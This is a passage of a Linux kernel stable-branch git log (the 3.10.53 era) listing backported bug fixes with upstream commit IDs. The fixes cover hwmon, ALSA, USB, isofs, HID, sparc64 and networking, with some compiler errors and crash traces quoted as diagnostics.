1074d683a51f1aded3562add9ef313e75d557327 upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Cc: Axel Lin Reviewed-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0c80f4d90d462bbb4cd0857c2f5ce352fed979d Author: Axel Lin Date: Thu Jul 31 22:27:04 2014 +0800 hwmon: (sis5595) Prevent overflow problem when writing large limits commit cc336546ddca8c22de83720632431c16a5f9fe9a upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da5034ab3a328089660b82283baf51031bc06266 Author: Russell King Date: Sat Jul 12 10:53:41 2014 +0100 drm: omapdrm: fix compiler errors commit 2d31ca3ad7d5d44c8adc7f253c96ce33f3a2e931 upstream. Regular randconfig nightly testing has detected problems with omapdrm. omapdrm fails to build when the kernel is built to support 64-bit DMA addresses and/or 64-bit physical addresses due to an assumption about the width of these types. Use %pad to print DMA addresses, rather than %x or %Zx (which is even more wrong than %x). Avoid passing a uint32_t pointer into a function which expects dma_addr_t pointer. drivers/gpu/drm/omapdrm/omap_plane.c: In function 'omap_plane_pre_apply': drivers/gpu/drm/omapdrm/omap_plane.c:145:2: error: format '%x' expects argument of type 'unsigned int', but argument 5 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_plane.c:145:2: error: format '%x' expects argument of type 'unsigned int', but argument 6 has type 'dma_addr_t' [-Werror=format] make[5]: *** [drivers/gpu/drm/omapdrm/omap_plane.o] Error 1 drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_get_paddr': drivers/gpu/drm/omapdrm/omap_gem.c:794:4: error: format '%x' expects argument of type 'unsigned int', but argument 3 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_describe': drivers/gpu/drm/omapdrm/omap_gem.c:991:4: error: format '%Zx' expects argument of type 'size_t', but argument 7 has type 'dma_addr_t' [-Werror=format] drivers/gpu/drm/omapdrm/omap_gem.c: In function 'omap_gem_init': drivers/gpu/drm/omapdrm/omap_gem.c:1470:4: error: format '%x' expects argument of type 'unsigned int', but argument 7 has type 'dma_addr_t' [-Werror=format] make[5]: *** [drivers/gpu/drm/omapdrm/omap_gem.o] Error 1 drivers/gpu/drm/omapdrm/omap_dmm_tiler.c: In function 'dmm_txn_append': drivers/gpu/drm/omapdrm/omap_dmm_tiler.c:226:2: error: passing argument 3 of 'alloc_dma' from incompatible pointer type [-Werror] make[5]: *** [drivers/gpu/drm/omapdrm/omap_dmm_tiler.o] Error 1 make[5]: Target `__build' not remade because of errors. make[4]: *** [drivers/gpu/drm/omapdrm] Error 2 Signed-off-by: Russell King Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24d9c87cffc58037f60bc76da8823fe37428f7b4 Author: Jeremy Vial Date: Thu Jul 31 15:10:33 2014 +0200 ARM: OMAP3: Fix choice of omap3_restore_es function in OMAP34XX rev3.1.2 case. commit 9b5f7428f8b16bd8980213f2b70baf1dd0b9e36c upstream. According to the comment “restore_es3: applies to 34xx >= ES3.0" in "arch/arm/mach-omap2/sleep34xx.Sâ€, omap3_restore_es3 should be used if the revision of an OMAP34xx is ES3.1.2. Signed-off-by: Jeremy Vial Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b08dcdd4d70cb7bcd3256c861ae5a2103a6096c Author: Alexander Usyskin Date: Thu Jul 17 10:53:35 2014 +0300 mei: start disconnect request timer consistently commit 22b987a325701223f9a37db700c6eb20b9924c6f upstream. Link must be reset in case the fw doesn't respond to client disconnect request. We did charge the timer only in irq path from mei_cl_irq_close and not in mei_cl_disconnect Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd321640b9b588bb376b0b502f36ea987c1e07dd Author: Takashi Iwai Date: Fri Aug 15 17:35:00 2014 +0200 ALSA: hda/realtek - Avoid setting wrong COEF on ALC269 & co commit f3ee07d8b6e061bf34a7167c3f564e8da4360a99 upstream. ALC269 & co have many vendor-specific setups with COEF verbs. However, some verbs seem specific to some codec versions and they result in the codec stalling. Typically, such a case can be avoided by checking the return value from reading a COEF. If the return value is -1, it implies that the COEF is invalid, thus it shouldn't be written. This patch adds the invalid COEF checks in appropriate places accessing ALC269 and its variants. The patch actually fixes the resume problem on Acer AO725 laptop. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=52181 Tested-by: Francesco Muzio Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d6061fc1602442a28eef668b3e63d7c504d13a4 Author: Takashi Iwai Date: Sun Aug 10 13:30:08 2014 +0200 ALSA: hda/ca0132 - Don't try loading firmware at resume when already failed commit e24aa0a4c5ac92a171d9dd74a8d3dbf652990d36 upstream. CA0132 driver tries to reload the firmware at resume. Usually this works since the firmware loader core caches the firmware contents by itself. However, if the driver failed to load the firmwares (e.g. missing files), reloading the firmware at resume goes through the actual file loading code path, and triggers a kernel WARNING like: WARNING: CPU: 10 PID:11371 at drivers/base/firmware_class.c:1105 _request_firmware+0x9ab/0x9d0() For avoiding this situation, this patch makes CA0132 skipping the f/w loading at resume when it failed at probe time. Reported-and-tested-by: Janek Kozicki Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2324abbab4f56cf1d09585dcda8fddc227a8758f Author: Clemens Ladisch Date: Mon Aug 4 15:17:55 2014 +0200 ALSA: virtuoso: add Xonar Essence STX II support commit f42bb22243d2ae264d721b055f836059fe35321f upstream. Just add the PCI ID for the STX II. It appears to work the same as the STX, except for the addition of the not-yet-supported daughterboard. Tested-by: Mario Tested-by: corubba Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca8faa64994b3806173fc69d513b62a89861aa89 Author: Hui Wang Date: Wed Jul 30 11:11:48 2014 +0800 ALSA: hda - fix an external mic jack problem on a HP machine commit 7440850c20b69658f322119d20a94dc914127cc7 upstream. ON the machine, two pin complex (0xb and 0xe) are both routed to the same external right-side mic jack, this makes the jack can't work. To fix this problem, set the 0xe to "not connected". BugLink: https://bugs.launchpad.net/bugs/1350148 Tested-by: Franz Hsieh Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f61f22c511e35d54df4e40086fb8f788d0d6ca2b Author: Pratyush Anand Date: Fri Jul 18 12:37:10 2014 +0530 USB: Fix persist resume of some SS USB devices commit a40178b2fa6ad87670fb1e5fa4024db00c149629 upstream. Problem Summary: Problem has been observed generally with PM states where VBUS goes off during suspend. There are some SS USB devices which take longer time for link training compared to many others. Such devices fail to reconnect with same old address which was associated with it before suspend. When system resumes, at some point of time (dpm_run_callback-> usb_dev_resume->usb_resume->usb_resume_both->usb_resume_device-> usb_port_resume) SW reads hub status. If device is present, then it finishes port resume and re-enumerates device with same address. If device is not present then, SW thinks that device was removed during suspend and therefore does logical disconnection and removes all the resource allocated for this device. Now, if I put sufficient delay just before root hub status read in usb_resume_device then, SW sees always that device is present. In normal course(without any delay) SW sees that no device is present and then SW removes all resource associated with the device at this port. In the latter case, after sometime, device says that hey I am here, now host enumerates it, but with new address. Problem had been reproduced when I connect verbatim USB3.0 hard disc with my STiH407 XHCI host running with 3.10 kernel. I see that similar problem has been reported here. https://bugzilla.kernel.org/show_bug.cgi?id=53211 Reading above it seems that bug was not in 3.6.6 and was present in 3.8 and again it was not present for some in 3.12.6, while it was present for few others. I tested with 3.13-FC19 running at i686 desktop, problem was still there. However, I was failed to reproduce it with 3.16-RC4 running at same i686 machine. I would say it is just a random observation. Problem for few devices is always there, as I am unable to find a proper fix for the issue. So, now question is what should be the amount of delay so that host is always able to recognize suspended device after resume. XHCI specs 4.19.4 says that when Link training is successful, port sets CSC bit to 1. So if SW reads port status before successful link training, then it will not find device to be present. USB Analyzer log with such buggy devices show that in some cases device switch on the RX termination after long delay of host enabling the VBUS. In few other cases it has been seen that device fails to negotiate link training in first attempt. It has been reported till now that few devices take as long as 2000 ms to train the link after host enabling its VBUS and RX termination. This patch implements a 2000 ms timeout for CSC bit to set ie for link training. If in a case link trains before timeout, loop will exit earlier. This patch implements above delay, but only for SS device and when persist is enabled. So, for the good device overhead is almost none. While for the bad devices penalty could be the time which it take for link training. But, If a device was connected before suspend, and was removed while system was asleep, then the penalty would be the timeout ie 2000 ms. Results: Verbatim USB SS hard disk connected with STiH407 USB host running 3.10 Kernel resumes in 461 msecs without this patch, but hard disk is assigned a new device address. Same system resumes in 790 msecs with this patch, but with old device address. Signed-off-by: Pratyush Anand Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8ec511f05b902c189e05daff6fb8303742715a8 Author: Bryan O'Donoghue Date: Wed Jul 2 01:58:18 2014 -0700 USB: ehci-pci: USB host controller support for Intel Quark X1000 commit 6e693739e9b603b3ca9ce0d4f4178f0633458465 upstream. The EHCI packet buffer in/out threshold is programmable for Intel Quark X1000 USB host controller, and the default value is 0x20 dwords. The in/out threshold can be programmed to 0x80 dwords (512 Bytes) to maximize the perfomrance, but only when isochronous/interrupt transactions are not initiated by the USB host controller. This patch is to reconfigure the packet buffer in/out threshold as maximal as possible to maximize the performance, and 0x7F dwords (508 Bytes) should be used because the USB host controller initiates isochronous/interrupt transactions. Signed-off-by: Bryan O'Donoghue Signed-off-by: Alvin (Weike) Chen Acked-by: Alan Stern Reviewed-by: Jingoo Han Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9305f523269aa90665c2441c11b097ac3536a147 Author: Patrick Riphagen Date: Thu Jul 24 09:09:50 2014 +0200 USB: serial: ftdi_sio: Add support for new Xsens devices commit 4bdcde358b4bda74e356841d351945ca3f2245dd upstream. This adds support for new Xsens devices, using Xsens' own Vendor ID. Signed-off-by: Patrick Riphagen Signed-off-by: Frans Klaver Cc: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 844a19af937d465b215cfbf45176b14dfa07e143 Author: Patrick Riphagen Date: Thu Jul 24 09:12:52 2014 +0200 USB: serial: ftdi_sio: Annotate the current Xsens PID assignments commit 9273b8a270878906540349422ab24558b9d65716 upstream. The converters are used in specific products. It can be useful to know which they are exactly. Signed-off-by: Patrick Riphagen Signed-off-by: Frans Klaver Cc: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e6c6a094ac4fc9e1da5f97cee449a47c36c3d34 Author: Alan Stern Date: Thu Jul 17 16:34:29 2014 -0400 USB: OHCI: don't lose track of EDs when a controller dies commit 977dcfdc60311e7aa571cabf6f39c36dde13339e upstream. This patch fixes a bug in ohci-hcd. When an URB is unlinked, the corresponding Endpoint Descriptor is added to the ed_rm_list and taken off the hardware schedule. Once the ED is no longer visible to the hardware, finish_unlinks() handles the URBs that were unlinked or have completed. If any URBs remain attached to the ED, the ED is added back to the hardware schedule -- but only if the controller is running. This fails when a controller dies. A non-empty ED does not get added back to the hardware schedule and does not remain on the ed_rm_list; ohci-hcd loses track of it. The remaining URBs cannot be unlinked, which causes the USB stack to hang. The patch changes finish_unlinks() so that non-empty EDs remain on the ed_rm_list if the controller isn't running. This requires moving some of the existing code around, to avoid modifying the ED's hardware fields more than once. Signed-off-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 873becaa55c3830092c88a3ffccd5768927125c3 Author: Jan Kara Date: Sun Aug 17 11:49:57 2014 +0200 isofs: Fix unbounded recursion when processing relocated directories commit 410dd3cf4c9b36f27ed4542ee18b1af5e68645a4 upstream. We did not check relocated directory in any way when processing Rock Ridge 'CL' tag. Thus a corrupted isofs image can possibly have a CL entry pointing to another CL entry leading to possibly unbounded recursion in kernel code and thus stack overflow or deadlocks (if there is a loop created from CL entries). Fix the problem by not allowing CL entry to point to a directory entry with CL entry (such use makes no good sense anyway) and by checking whether CL entry doesn't point to itself. Reported-by: Chris Evans Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae2ffba4c45f5a451b5962f6bc4c1572a4fb14ad Author: Jiri Kosina Date: Thu Aug 21 09:57:48 2014 -0500 HID: fix a couple of off-by-ones commit 4ab25786c87eb20857bbb715c3ae34ec8fd6a214 upstream. There are a few very theoretical off-by-one bugs in report descriptor size checking when performing a pre-parsing fixup. Fix those. Reported-by: Ben Hawkes Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9c999532cff026bfbd8c1f5e949ac64db61ee3f Author: Jiri Kosina Date: Thu Aug 21 09:57:17 2014 -0500 HID: logitech: perform bounds checking on device_id early enough commit ad3e14d7c5268c2e24477c6ef54bbdf88add5d36 upstream. device_index is a char type and the size of paired_dj_deivces is 7 elements, therefore proper bounds checking has to be applied to device_index before it is used. We are currently performing the bounds checking in logi_dj_recv_add_djhid_device(), which is too late, as malicious device could send REPORT_TYPE_NOTIF_DEVICE_UNPAIRED early enough and trigger the problem in one of the report forwarding functions called from logi_dj_raw_event(). Fix this by performing the check at the earliest possible ocasion in logi_dj_raw_event(). Reported-by: Ben Hawkes Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34d48253e37ed1658c868e7da418e6387d56e3e9 Author: Dave Chiluk Date: Tue Jun 24 10:11:26 2014 -0500 stable_kernel_rules: Add pointer to netdev-FAQ for network patches commit b76fc285337b6b256e9ba20a40cfd043f70c27af upstream. Stable_kernel_rules should point submitters of network stable patches to the netdev_FAQ.txt as requests for stable network patches should go to netdev first. Signed-off-by: Dave Chiluk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4091262363f790738b7a5be6be64f8e491f0ef77 Author: Greg Kroah-Hartman Date: Thu Aug 14 09:24:29 2014 +0800 Linux 3.10.53 Signed-off-by: Pranav Vashi commit e46a164d8aa9e9b2b2dd52a03ac7c2b022d47b77 Author: Andrey Utkin Date: Mon Aug 4 23:47:41 2014 +0300 arch/sparc/math-emu/math_32.c: drop stray break operator [ Upstream commit 093758e3daede29cb4ce6aedb111becf9d4bfc57 ] This commit is a guesswork, but it seems to make sense to drop this break, as otherwise the following line is never executed and becomes dead code. And that following line actually saves the result of local calculation by the pointer given in function argument. So the proposed change makes sense if this code in the whole makes sense (but I am unable to analyze it in the whole). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81641 Reported-by: David Binderman Signed-off-by: Andrey Utkin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f85e155163760954e7751deb79e09a2eca00d8e6 Author: Sowmini Varadhan Date: Fri Aug 1 09:50:40 2014 -0400 sparc64: ldc_connect() should not return EINVAL when handshake is in progress. [ Upstream commit 4ec1b01029b4facb651b8ef70bc20a4be4cebc63 ] The LDC handshake could have been asynchronously triggered after ldc_bind() enables the ldc_rx() receive interrupt-handler (and thus intercepts incoming control packets) and before vio_port_up() calls ldc_connect(). If that is the case, ldc_connect() should return 0 and let the state-machine progress. Signed-off-by: Sowmini Varadhan Acked-by: Karl Volz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfe29e7c37d86dd685f1b6b2654d1eae5e72c1af Author: Christopher Alexander Tobias Schulze Date: Sun Aug 3 16:01:53 2014 +0200 sunsab: Fix detection of BREAK on sunsab serial console [ Upstream commit fe418231b195c205701c0cc550a03f6c9758fd9e ] Fix detection of BREAK on sunsab serial console: BREAK detection was only performed when there were also serial characters received simultaneously. To handle all BREAKs correctly, the check for BREAK and the corresponding call to uart_handle_break() must also be done if count == 0, therefore duplicate this code fragment and pull it out of the loop over the received characters. Patch applies to 3.16-rc6. Signed-off-by: Christopher Alexander Tobias Schulze Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ce5b8e487e1c7041a020246a490d09f38121277 Author: Christopher Alexander Tobias Schulze Date: Sun Aug 3 15:44:52 2014 +0200 bbc-i2c: Fix BBC I2C envctrl on SunBlade 2000 [ Upstream commit 5cdceab3d5e02eb69ea0f5d8fa9181800baf6f77 ] Fix regression in bbc i2c temperature and fan control on some Sun systems that causes the driver to refuse to load due to the bbc_i2c_bussel resource not being present on the (second) i2c bus where the temperature sensors and fan control are located. (The check for the number of resources was removed when the driver was ported to a pure OF driver in mid 2008.) Signed-off-by: Christopher Alexander Tobias Schulze Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50626927a44658673a23b71661d0e6ac76c77a64 Author: David S. Miller Date: Mon Aug 4 20:07:37 2014 -0700 sparc64: Guard against flushing openfirmware mappings. [ Upstream commit 4ca9a23765da3260058db3431faf5b4efd8cf926 ] Based almost entirely upon a patch by Christopher Alexander Tobias Schulze. In commit db64fe02258f1507e13fe5212a989922323685ce ("mm: rewrite vmap layer") lazy VMAP tlb flushing was added to the vmalloc layer. This causes problems on sparc64. Sparc64 has two VMAP mapped regions and they are not contiguous with eachother. First we have the malloc mapping area, then another unrelated region, then the vmalloc region. This "another unrelated region" is where the firmware is mapped. If the lazy TLB flushing logic in the vmalloc code triggers after we've had both a module unload and a vfree or similar, it will pass an address range that goes from somewhere inside the malloc region to somewhere inside the vmalloc region, and thus covering the openfirmware area entirely. The sparc64 kernel learns about openfirmware's dynamic mappings in this region early in the boot, and then services TLB misses in this area. But openfirmware has some locked TLB entries which are not mentioned in those dynamic mappings and we should thus not disturb them. These huge lazy TLB flush ranges causes those openfirmware locked TLB entries to be removed, resulting in all kinds of problems including hard hangs and crashes during reboot/reset. Besides causing problems like this, such huge TLB flush ranges are also incredibly inefficient. A plea has been made with the author of the VMAP lazy TLB flushing code, but for now we'll put a safety guard into our flush_tlb_kernel_range() implementation. Since the implementation has become non-trivial, stop defining it as a macro and instead make it a function in a C source file. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1307f0295607e92852cdbd6021fa20c972bc3d6 Author: David S. Miller Date: Mon Aug 4 16:34:01 2014 -0700 sparc64: Do not insert non-valid PTEs into the TSB hash table. [ Upstream commit 18f38132528c3e603c66ea464727b29e9bbcb91b ] The assumption was that update_mmu_cache() (and the equivalent for PMDs) would only be called when the PTE being installed will be accessible by the user. This is not true for code paths originating from remove_migration_pte(). There are dire consequences for placing a non-valid PTE into the TSB. The TLB miss frramework assumes thatwhen a TSB entry matches we can just load it into the TLB and return from the TLB miss trap. So if a non-valid PTE is in there, we will deadlock taking the TLB miss over and over, never satisfying the miss. Just exit early from update_mmu_cache() and friends in this situation. Based upon a report and patch from Christopher Alexander Tobias Schulze. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01ab9dcd6fee3c772404cddd769b0b1a8ecb1a81 Author: David S. Miller Date: Sat May 17 11:28:05 2014 -0700 sparc64: Add membar to Niagara2 memcpy code. [ Upstream commit 5aa4ecfd0ddb1e6dcd1c886e6c49677550f581aa ] This is the prevent previous stores from overlapping the block stores done by the memcpy loop. Based upon a glibc patch by Jose E. Marchesi Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aead4922dfa97e2bae409aa8002994156265fabf Author: David S. Miller Date: Wed May 7 14:07:32 2014 -0700 sparc64: Fix huge TSB mapping on pre-UltraSPARC-III cpus. [ Upstream commit b18eb2d779240631a098626cb6841ee2dd34fda0 ] Access to the TSB hash tables during TLB misses requires that there be an atomic 128-bit quad load available so that we fetch a matching TAG and DATA field at the same time. On cpus prior to UltraSPARC-III only virtual address based quad loads are available. UltraSPARC-III and later provide physical address based variants which are easier to use. When we only have virtual address based quad loads available this means that we have to lock the TSB into the TLB at a fixed virtual address on each cpu when it runs that process. We can't just access the PAGE_OFFSET based aliased mapping of these TSBs because we cannot take a recursive TLB miss inside of the TLB miss handler without risking running out of hardware trap levels (some trap combinations can be deep, such as those generated by register window spill and fill traps). Without huge pages it's working perfectly fine, but when the huge TSB got added another chunk of fixed virtual address space was not allocated for this second TSB mapping. So we were mapping both the 8K and 4MB TSBs to the same exact virtual address, causing multiple TLB matches which gives undefined behavior. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b76ccab92bc204c533ab36df6d63c825a4874368 Author: David S. Miller Date: Tue May 6 21:27:37 2014 -0700 sparc64: Don't bark so loudly about 32-bit tasks generating 64-bit fault addresses. [ Upstream commit e5c460f46ae7ee94831cb55cb980f942aa9e5a85 ] This was found using Dave Jone's trinity tool. When a user process which is 32-bit performs a load or a store, the cpu chops off the top 32-bits of the effective address before translating it. This is because we run 32-bit tasks with the PSTATE_AM (address masking) bit set. We can't run the kernel with that bit set, so when the kernel accesses userspace no address masking occurs. Since a 32-bit process will have no mappings in that region we will properly fault, so we don't try to handle this using access_ok(), which can safely just be a NOP on sparc64. Real faults from 32-bit processes should never generate such addresses so a bug check was added long ago, and it barks in the logs if this happens. But it also barks when a kernel user access causes this condition, and that _can_ happen. For example, if a pointer passed into a system call is "0xfffffffc" and the kernel access 4 bytes offset from that pointer. Just handle such faults normally via the exception entries. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f0f0cfd1404a1b3d03b1bc252660ad36273be2a Author: David S. Miller Date: Mon Apr 28 23:52:11 2014 -0700 sparc64: Fix top-level fault handling bugs. [ Upstream commit 70ffc6ebaead783ac8dafb1e87df0039bb043596 ] Make get_user_insn() able to cope with huge PMDs. Next, make do_fault_siginfo() more robust when get_user_insn() can't actually fetch the instruction. In particular, use the MMU announced fault address when that happens, instead of calling compute_effective_address() and computing garbage. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a33aedf6d24c2278615cb827e788e8a069cc6320 Author: David S. Miller Date: Mon Apr 28 23:50:08 2014 -0700 sparc64: Handle 32-bit tasks properly in compute_effective_address(). [ Upstream commit d037d16372bbe4d580342bebbb8826821ad9edf0 ] If we have a 32-bit task we must chop off the top 32-bits of the 64-bit value just as the cpu would. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd299a94584590803c29640fd95124deeae486aa Author: Kirill Tkhai Date: Thu Apr 17 00:45:24 2014 +0400 sparc64: Make itc_sync_lock raw [ Upstream commit 49b6c01f4c1de3b5e5427ac5aba80f9f6d27837a ] One more place where we must not be able to be preempted or to be interrupted in RT. Always actually disable interrupts during synchronization cycle. Signed-off-by: Kirill Tkhai Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18bc1fd2faf55917abbdaa49c75f6828cd06dbf1 Author: David S. Miller Date: Wed Apr 30 19:37:48 2014 -0700 sparc64: Fix argument sign extension for compat_sys_futex(). [ Upstream commit aa3449ee9c87d9b7660dd1493248abcc57769e31 ] Only the second argument, 'op', is signed. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db78bc2df9364d05ab43f0644509578a6a5ddf6e Author: Eric Dumazet Date: Tue Aug 5 16:49:52 2014 +0200 sctp: fix possible seqlock seadlock in sctp_packet_transmit() [ Upstream commit 757efd32d5ce31f67193cc0e6a56e4dffcc42fb1 ] Dave reported following splat, caused by improper use of IP_INC_STATS_BH() in process context. BUG: using __this_cpu_add() in preemptible [00000000] code: trinity-c117/14551 caller is __this_cpu_preempt_check+0x13/0x20 CPU: 3 PID: 14551 Comm: trinity-c117 Not tainted 3.16.0+ #33 ffffffff9ec898f0 0000000047ea7e23 ffff88022d32f7f0 ffffffff9e7ee207 0000000000000003 ffff88022d32f818 ffffffff9e397eaa ffff88023ee70b40 ffff88022d32f970 ffff8801c026d580 ffff88022d32f828 ffffffff9e397ee3 Call Trace: [] dump_stack+0x4e/0x7a [] check_preemption_disabled+0xfa/0x100 [] __this_cpu_preempt_check+0x13/0x20 [] sctp_packet_transmit+0x692/0x710 [sctp] [] sctp_outq_flush+0x2a2/0xc30 [sctp] [] ? mark_held_locks+0x7c/0xb0 [] ? _raw_spin_unlock_irqrestore+0x5d/0x80 [] sctp_outq_uncork+0x1a/0x20 [sctp] [] sctp_cmd_interpreter.isra.23+0x1142/0x13f0 [sctp] [] sctp_do_sm+0xdb/0x330 [sctp] [] ? preempt_count_sub+0xab/0x100 [] ? sctp_cname+0x70/0x70 [sctp] [] sctp_primitive_ASSOCIATE+0x3a/0x50 [sctp] [] sctp_sendmsg+0x88f/0xe30 [sctp] [] ? lock_release_holdtime.part.28+0x9a/0x160 [] ? put_lock_stats.isra.27+0xe/0x30 [] inet_sendmsg+0x104/0x220 [] ? inet_sendmsg+0x5/0x220 [] sock_sendmsg+0x9e/0xe0 [] ? might_fault+0xb9/0xc0 [] ? might_fault+0x5e/0xc0 [] SYSC_sendto+0x124/0x1c0 [] ? syscall_trace_enter+0x250/0x330 [] SyS_sendto+0xe/0x10 [] tracesys+0xdd/0xe2 This is a followup of commits f1d8cba61c3c4b ("inet: fix possible seqlock deadlocks") and 7f88c6b23afbd315 ("ipv6: fix possible seqlock deadlock in ip6_finish_output2") Signed-off-by: Eric Dumazet Cc: Hannes Frederic Sowa Reported-by: Dave Jones Acked-by: Neil Horman Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b8f76e98dc13c62489f56eed16e6fdac1d962c7 Author: Sasha Levin Date: Thu Jul 31 23:00:35 2014 -0400 iovec: make sure the caller actually wants anything in memcpy_fromiovecend [ Upstream commit 06ebb06d49486676272a3c030bfeef4bd969a8e6 ] Check for cases when the caller requests 0 bytes instead of running off and dereferencing potentially invalid iovecs. Signed-off-by: Sasha Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc6be7bf24e89a3369f85115f43d5e0614abbe5 Author: Vlad Yasevich Date: Thu Jul 31 10:33:06 2014 -0400 net: Correctly set segment mac_len in skb_segment(). [ Upstream commit fcdfe3a7fa4cb74391d42b6a26dc07c20dab1d82 ] When performing segmentation, the mac_len value is copied right out of the original skb. However, this value is not always set correctly (like when the packet is VLAN-tagged) and we'll end up copying a bad value. One way to demonstrate this is to configure a VM which tags packets internally and turn off VLAN acceleration on the forwarding bridge port. The packets show up corrupt like this: 16:18:24.985548 52:54:00:ab:be:25 > 52:54:00:26:ce:a3, ethertype 802.1Q (0x8100), length 1518: vlan 100, p 0, ethertype 0x05e0, 0x0000: 8cdb 1c7c 8cdb 0064 4006 b59d 0a00 6402 ...|...d@.....d. 0x0010: 0a00 6401 9e0d b441 0a5e 64ec 0330 14fa ..d....A.^d..0.. 0x0020: 29e3 01c9 f871 0000 0101 080a 000a e833)....q.........3 0x0030: 000f 8c75 6e65 7470 6572 6600 6e65 7470 ...unetperf.netp 0x0040: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp 0x0050: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp 0x0060: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp ... This also leads to awful throughput as GSO packets are dropped and cause retransmissions. The solution is to set the mac_len using the values already available in then new skb. We've already adjusted all of the header offset, so we might as well correctly figure out the mac_len using skb_reset_mac_len(). After this change, packets are segmented correctly and performance is restored. CC: Eric Dumazet Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0480a44b969dba5ae8ec3d58d9063f2d3ff77595 Author: Vlad Yasevich Date: Thu Jul 31 10:30:25 2014 -0400 macvlan: Initialize vlan_features to turn on offload support. [ Upstream commit 081e83a78db9b0ae1f5eabc2dedecc865f509b98 ] Macvlan devices do not initialize vlan_features. As a result, any vlan devices configured on top of macvlans perform very poorly. Initialize vlan_features based on the vlan features of the lower-level device. Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c050706cdd3f255f6d58c759d63bcfa41720a8a3 Author: Daniel Borkmann Date: Tue Jul 22 15:22:45 2014 +0200 net: sctp: inherit auth_capable on INIT collisions [ Upstream commit 1be9a950c646c9092fb3618197f7b6bfb50e82aa ] Jason reported an oops caused by SCTP on his ARM machine with SCTP authentication enabled: Internal error: Oops: 17 [#1] ARM CPU: 0 PID: 104 Comm: sctp-test Not tainted 3.13.0-68744-g3632f30c9b20-dirty #1 task: c6eefa40 ti: c6f52000 task.ti: c6f52000 PC is at sctp_auth_calculate_hmac+0xc4/0x10c LR is at sg_init_table+0x20/0x38 pc : [] lr : [] psr: 40000013 sp : c6f538e8 ip : 00000000 fp : c6f53924 r10: c6f50d80 r9 : 00000000 r8 : 00010000 r7 : 00000000 r6 : c7be4000 r5 : 00000000 r4 : c6f56254 r3 : c00c8170 r2 : 00000001 r1 : 00000008 r0 : c6f1e660 Flags: 